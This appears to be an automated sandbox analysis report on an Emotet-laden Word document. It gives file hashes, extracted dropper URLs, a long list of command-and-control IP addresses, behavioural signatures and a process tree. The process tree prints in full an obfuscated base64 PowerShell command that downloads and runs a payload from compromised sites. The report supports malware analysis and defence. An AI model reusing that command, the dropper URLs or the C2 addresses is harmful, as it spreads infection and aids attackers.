Analysis
- max time kernel
139s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
15/09/2020, 16:16
Static task
static1
Behavioral task
behavioral1
Sample
CST_090120_QQZ_091520.doc
Resource
win7
General
- Target CST_090120_QQZ_091520.doc
- Size 158KB
- Sample200915-zdcsnj9xae
- SHA256 84a3218db211f14f6afaf90ced3a518193158b80bbbf43bbf82a955d6064fa2d
- MD5 fc6278b0d199e93b832ae9720e40cf77
- SHA1 116aa48b76d2742ab9c08530ff443e19c5982164
- SHA512 949465890f0fa78b302f6291dba5aefa9a73bc8c6105864858a4167ee954d3334a1a2cbec7afd1589466cbb04aa6a0f8014bcbaf7c6024440f7f441287325058
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
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exe.dropper
https://case.gonukkad.com/sys-cache/CjT/
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exe.dropper
https://starrcoin.net/wp-admin/YT/
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exe.dropper
http://modelaw.devkind.com.au/wp-admin/cvDRmGK/
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exe.dropper
http://dprkp.palembang.go.id/sys-cache/7Y4aHw/
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exe.dropper
http://completeguideblogging.com/euiot/PAuJG/
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exe.dropper
http://qutiche.cn/wp-admin/Q/
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exe.dropper
https://shiva-engineering.com/1cj/tKemHV7/
Extracted
-
emotet
-
75.80.124.4:80
-
134.209.36.254:8080
-
104.156.59.7:8080
-
120.138.30.150:8080
-
107.5.122.110:80
-
195.251.213.56:80
-
91.211.88.52:7080
-
79.98.24.39:8080
-
75.139.38.211:80
-
82.225.49.121:80
-
162.241.242.173:8080
-
94.1.108.190:443
-
85.105.205.77:8080
-
181.169.34.190:80
-
24.179.13.119:80
-
139.59.67.118:443
-
82.80.155.43:80
-
50.91.114.38:80
-
93.147.212.206:80
-
153.232.188.106:80
-
46.105.131.79:8080
-
42.200.107.142:80
-
61.92.17.12:80
-
140.186.212.146:80
-
78.24.219.147:8080
-
87.106.139.101:8080
-
188.219.31.12:80
-
104.131.11.150:443
-
62.30.7.67:443
-
201.173.217.124:443
-
203.153.216.189:7080
-
172.91.208.86:80
-
5.39.91.110:7080
-
94.200.114.161:80
-
95.179.229.244:8080
-
157.245.99.39:8080
-
174.102.48.180:443
-
104.32.141.43:80
-
24.137.76.62:80
-
74.208.45.104:8080
-
185.94.252.104:443
-
220.245.198.194:80
-
153.177.101.120:443
-
37.139.21.175:8080
-
200.114.213.233:8080
-
84.39.182.7:80
-
109.74.5.95:8080
-
194.187.133.160:443
-
120.150.60.189:80
-
156.155.166.221:80
-
110.145.77.103:80
-
5.196.74.210:8080
-
95.213.236.64:8080
-
103.86.49.11:8080
-
94.23.216.33:80
-
139.59.60.244:8080
-
219.74.18.66:443
-
62.75.141.82:80
-
61.19.246.238:443
-
24.43.99.75:80
-
174.45.13.118:80
-
121.7.127.163:80
-
78.187.156.31:80
-
50.35.17.13:80
-
79.137.83.50:443
-
139.130.242.43:80
-
74.134.41.124:80
-
37.187.72.193:8080
-
110.5.16.198:80
-
124.41.215.226:80
-
89.216.122.92:80
-
200.123.150.89:443
-
97.82.79.83:80
-
139.99.158.11:443
-
104.236.246.93:8080
-
169.239.182.217:8080
-
203.117.253.142:80
-
85.152.162.105:80
-
168.235.67.138:7080
-
104.131.44.150:8080
-
83.169.36.251:8080
-
87.106.136.232:8080
-
121.124.124.40:7080
-
187.161.206.24:80
-
137.119.36.33:80
-
209.141.54.221:8080
-
94.23.237.171:443
-
213.196.135.145:80
-
1.221.254.82:80
-
176.111.60.55:8080
-
68.188.112.97:80
-
47.144.21.12:443
-
137.59.187.107:8080
-
139.162.108.71:8080
-
74.120.55.163:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2524 3896 powershell.exe 72 - Blacklisted process makes network request 1 IoCs
flow pid Process 23 2524 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2064 Ui0i6m6.exe 2148 tbs.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\UserDataAccountApis\tbs.exe Ui0i6m6.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2584 WINWORD.EXE 2584 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 2524 powershell.exe 2524 powershell.exe 2524 powershell.exe 2148 tbs.exe 2148 tbs.exe 2148 tbs.exe 2148 tbs.exe 2148 tbs.exe 2148 tbs.exe 2148 tbs.exe 2148 tbs.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2524 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 2584 WINWORD.EXE 2584 WINWORD.EXE 2584 WINWORD.EXE 2584 WINWORD.EXE 2584 WINWORD.EXE 2584 WINWORD.EXE 2584 WINWORD.EXE 2584 WINWORD.EXE 2584 WINWORD.EXE 2064 Ui0i6m6.exe 2064 Ui0i6m6.exe 2148 tbs.exe 2148 tbs.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2524 wrote to memory of 2064 2524 powershell.exe 80 PID 2524 wrote to memory of 2064 2524 powershell.exe 80 PID 2524 wrote to memory of 2064 2524 powershell.exe 80 PID 2064 wrote to memory of 2148 2064 Ui0i6m6.exe 81 PID 2064 wrote to memory of 2148 2064 Ui0i6m6.exe 81 PID 2064 wrote to memory of 2148 2064 Ui0i6m6.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\CST_090120_QQZ_091520.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2584
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABVADkAcABmAHcAeQBqAD0AKAAoACcAQgA2ACcAKwAnAF8AJwApACsAKAAnAG8AOABfACcAKwAnAHAAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAHIAUABSAG8ARgBJAEwAZQBcAEsAWABmAEUARAAxADQAXABEAFMANQA4ADMAUgBoAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBgAGkAYABUAHkAUAByAG8AdABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAdABsAHMAJwArACcAMQAxACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAFMAYQBrAGYAegBuAHoAIAA9ACAAKAAoACcAVQAnACsAJwBpADAAaQAnACkAKwAoACcANgBtACcAKwAnADYAJwApACkAOwAkAEkAbwBqAGgAMgBqAGEAPQAoACgAJwBWAF8AJwArACcAbgAzADAAdAAnACkAKwAnAHUAJwApADsAJABNAGYAagBuAHoAdQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwBLAGsASwB4ACcAKwAnAGYAZQBkACcAKwAnADEANAA5AEsAawBEAHMAJwApACsAJwA1ADgAJwArACgAJwAzAHIAJwArACcAaAA5AEsAJwArACcAawAnACkAKQAgAC0AcgBlAFAAbABBAGMAZQAgACgAJwA5ACcAKwAnAEsAawAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQAUwBhAGsAZgB6AG4AegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEsAdwBjAGkAMgBvADkAPQAoACcAQgB0ACcAKwAoACcAZQAnACsAJwB1AHQAMABxACcAKQApADsAJABIAGoAOAA3AGwANgBiAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBCAGMATABJAEUAbgB0ADsAJABEAGkAeAB6AG8AZwBlAD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwBjACcAKwAnAGEAJwArACcAcwAnACkAKwAoACcAZQAuAGcAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwB1AGsAawBhAGQALgBjACcAKQArACcAbwBtACcAKwAnAC8AJwArACcAcwAnACsAKAAnAHkAcwAnACsAJwAtAGMAYQAnACkAKwAoACcAYwBoAGUALwAnACsAJwBDACcAKQArACgAJwBqACcAKwAnAFQALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AcwAnACsAJwB0AGEAcgAnACsAJwByAGMAbwAnACsAJwBpAG4ALgAnACsAJwBuACcAKQArACcAZQAnACsAKAAnAHQALwAnACsAJwB3AHAALQBhAGQAbQBpAG4AJwArACcALwBZACcAKwAnAFQALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvACcAKwAnAG0AbwBkAGUAbABhAHcAJwArACcALgBkACcAKwAnAGUAdgAnACkAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAuACcAKQArACgAJwBhAHUAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYQBkACcAKQArACgAJwBtAGkAJwArACcAbgAnACsAJwAvAGMAJwArACcAdgBEACcAKwAnAFIAbQBHAEsALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAZABwAHIAawBwAC4AJwArACcAcAAnACkAKwAnAGEAbAAnACsAKAAnAGUAbQBiAGEAbgAnACsAJwBnACcAKQArACcALgAnACsAJwBnACcAKwAoACcAbwAuACcAKwAnAGkAZAAvAHMAeQBzAC0AJwArACcAYwBhACcAKwAnAGMAJwApACsAKAAnAGgAZQAvADcAJwArACcAWQA0AGEAJwApACsAKAAnAEgAJwArACcAdwAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAHAAbABlAHQAZQBnACcAKQArACgAJwB1ACcAKwAnAGkAZABlAGIAJwApACsAJwBsACcAKwAnAG8AZwAnACsAJwBnACcAKwAoACcAaQBuACcAKwAnAGcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBlAHUAaQBvAHQAJwApACsAKAAnAC8AUABBACcAKwAnAHUASgBHACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AcQAnACsAJwB1AHQAaQAnACsAJwBjAGgAZQAnACkAKwAoACcALgBjACcAKwAnAG4AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAnAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwAvACcAKQArACgAJwBRAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcwAnACkAKwAoACcAaABpAHYAYQAtACcAKwAnAGUAbgAnACsAJwBnAGkAbgBlACcAKwAnAGUAcgAnACsAJwBpAG4AJwArACcAZwAuAGMAbwBtACcAKwAnAC8AMQBjACcAKwAnAGoALwB0AEsAJwArACcAZQAnACkAKwAoACcAbQBIACcAKwAnAFYAJwApACsAJwA3AC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAeQA1AGgAcABiADQAPQAoACcAVwAxACcAKwAoACcAdgA5ACcAKwAnAHgAJwApACsAJwB5AGwAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUQByAG8AbQA2AGEAcgAgAGkAbgAgACQARABpAHgAegBvAGcAZQApAHsAdAByAHkAewAkAEgAagA4ADcAbAA2AGIALgAiAGQAYABPAFcAbgBMAG8AQQBgAEQARgBgAEkATABlACIAKAAkAFEAcgBvAG0ANgBhAHIALAAgACQATQBmAGoAbgB6AHUAZgApADsAJABSAGgANQBpAGsAeABfAD0AKAAnAE0AZQAnACsAKAAnAGUAaABmAHEAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABNAGYAagBuAHoAdQBmACkALgAiAGwARQBgAE4AYABnAHQAaAAiACAALQBnAGUAIAAzADYAOQAzADEAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQATQBmAGoAbgB6AHUAZgApADsAJABYAHoAawB6AG0AbQBuAD0AKAAoACcARwAnACsAJwBuAGEANQAnACkAKwAnAF8AJwArACcAcwBwACcAKQA7AGIAcgBlAGEAawA7ACQAVwA3AGwAZgBoAGcAcQA9ACgAKAAnAFcAMgBrACcAKwAnADgAdwB5ACcAKQArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAcAAxAF8AYQB1AG0APQAoACcATQAnACsAKAAnAHEAYgBqAF8AJwArACcAZQByACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe"C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Windows\SysWOW64\UserDataAccountApis\tbs.exe"C:\Windows\SysWOW64\UserDataAccountApis\tbs.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2148
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-